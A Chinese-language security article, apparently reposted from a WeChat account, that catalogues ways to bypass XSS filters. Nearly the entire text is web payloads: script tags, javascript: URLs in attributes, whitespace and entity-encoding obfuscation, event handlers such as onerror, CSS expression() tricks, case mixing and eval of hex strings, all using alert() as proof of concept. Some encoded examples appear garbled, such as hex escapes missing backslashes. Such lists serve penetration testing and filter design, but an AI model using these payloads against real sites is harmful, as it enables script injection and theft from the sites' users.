绕过XSS的多种方式

  • A+
所属分类:安全文章

(1)利用<>标记注射Html/Javascript.

<script>alert('XSS')</script>


(2)利用Html标签属性执行XSS

很多HTML都支持javascript:伪协议的形式

<table background="javascript:alert(/XSS/)"></table>

<img src="javascript:alert('XSS');">


(3)空格 回车 Tab

<img src="javas rcipt:alert(/XSS/)" width=100>


<img src="javas

rcipt:

alert(/XSS/)" width=100>


<img src="javas    rcipt:alert(/XSS/)" width=100>


(4)对标签属性值转码

<img src="javascrip&#116&#58alert(/XSS/);">     //对t:进行十进制的转码后是&#116&#58

<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

<img src=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

或者:

<img src=1 onerror=&#118;&#98;&#115;&#58;msgbox+1>

<body onload=`vbs:execScript"alert(0)","&#x6a;avascript"`>

还可以把&#01.&#02等字符插入到Javascript或Vbscript的头部,另外,Tab符的ASCII码&#9、换行符的&#10、回车符的&#13可以被插入到代码中的任意地方。

如:

<img src="&#01;javascript:alert(/a/)">           

这个事例把ASCII码插入到了代码的头部,其中&#01;可写成&#1,效果一样。

要插入到代码的任意位置,可使用&#09;等字符,如下:

<img src="java&#09;scr&#10;ipt:alert(/a/)"> 


(5)产生自己的事件

如click、mouseover、load

<input type="button" value="click me" onclick="alert('click me')" />

W3C将事件分为3个不同的类型:

用户接口(鼠标/键盘)

逻辑(处理的结果)

变化(对文档进行修改)

<img src="#" onerror=alert(/XSS/)>


(6)利用CSS跨站剖析

<div style="background-image:url(javascript:alert('XSS'))">

<style>

    body {background-image:url("javascript:alert('XSS')");}

</style>

IE5及其以后版本支持在CSS中使用expression,如下所示:

<div style="width: expression(alert('XSS'));">

<img src="#" style="xss:expression(alert(/XSS/));">

<style>

    body {background-image:expression(alert('XSS'));">

</style>


(7)扰乱过滤规则

一个正常的XSS输入:

<img src="javascript:alert(0);">

转换大小写后的XSS:

<IMG SRC="javascript:alert(0);">

大小写混淆的XSS:

<iMg Src="jaVascRipt:alert(0);">

不用双引号,而是使用单引号的XSS:

<img src='javascript:alert(0);'>

不使用引号的XSS:

<img src=javascript:alert(0);>

其他技巧:

<img/src="javascript:alert(0);">

注意这里的IMG标记和src属性之间没有空格,而是用/隔开的,此段代码在IE6中能成功执行。

当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:

<div style="width:exprEssion(alert('XSS'));">

样式表中的/**/会被浏览器忽略,因此可以运用/**/来注释字符,通过插入混淆字符绕过过滤,如

<div style="width: expr/*XSS*/ession(alert('XSS'));">

除了/**/外,样式表中的/和结束符/0也是被浏览器忽略的,如:

<style>

    @import 'javascript:alert("XSS")';

</style>

还可以将CSS中的关键字进行转码处理,如将e转换成65,包括改变编码中0的数量,如:

<div style="width:65xpression(alert('XSS'));">

<div style="width:65xpression(alert('XSS'));">

<div style="width:065xpression(alert('XSS'));">

其他:

<!--<img src="--><img src=x onerror=alert(1)//">

<comment><img src="</comment><img src=x onerror=alert(1)//">

<style><img src="</style><img src=x onerror=alert(1)//">


(8)利用字符编码

以<img src="javascript:alert('XSS');">为例,它的属性值是:javascript:alert('XSS');

进行十进制转码后得到:

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59

完整的XSS Expliot如下:

<img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59">

还可以在每个十进制的字符后加上;,或者采用&#0,&#00,&#000,&#0000,&#0;,&#00;,&#000;,&#0000;等形式,如下所示

<img src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;&#59;">

<img src="&#0106;&#097;&#0118;&#097;&#0115;&#099;&#0114;&#0105;&#0112;&#0116;&#058;&#097;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#088;&#083;&#083;&#039;&#041;&#059;">

<img src="&#0000106&#000097&#0000118&#000097&#0000115&#000099&#0000114&#0000105&#0000112&#0000116&#000058&#000097&#0000108&#0000101&#0000114&#0000116&#000040&#000039&#000088&#000083&#000083&#000039&#000041&#000059">

类似的,也能采用十六进制编码:

<img src="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;&#x3B">

另外,在JavaScript中有一个eval()函数,该函数可计算字符串,并执行其中的JavaScript代码,如下所示:

<script>

eval("alert('XSS')");

</script>

我们可以使用十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本,如对alert('XSS')进行十六进制转码后得到:

<script>

eval("x61x6Cx65x72x74x28x27x58x53x53x27x29");

</script>



还有一个拆分跨站法,不做详述。

--------


本文始发于微信公众号(LemonSec):绕过XSS的多种方式

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: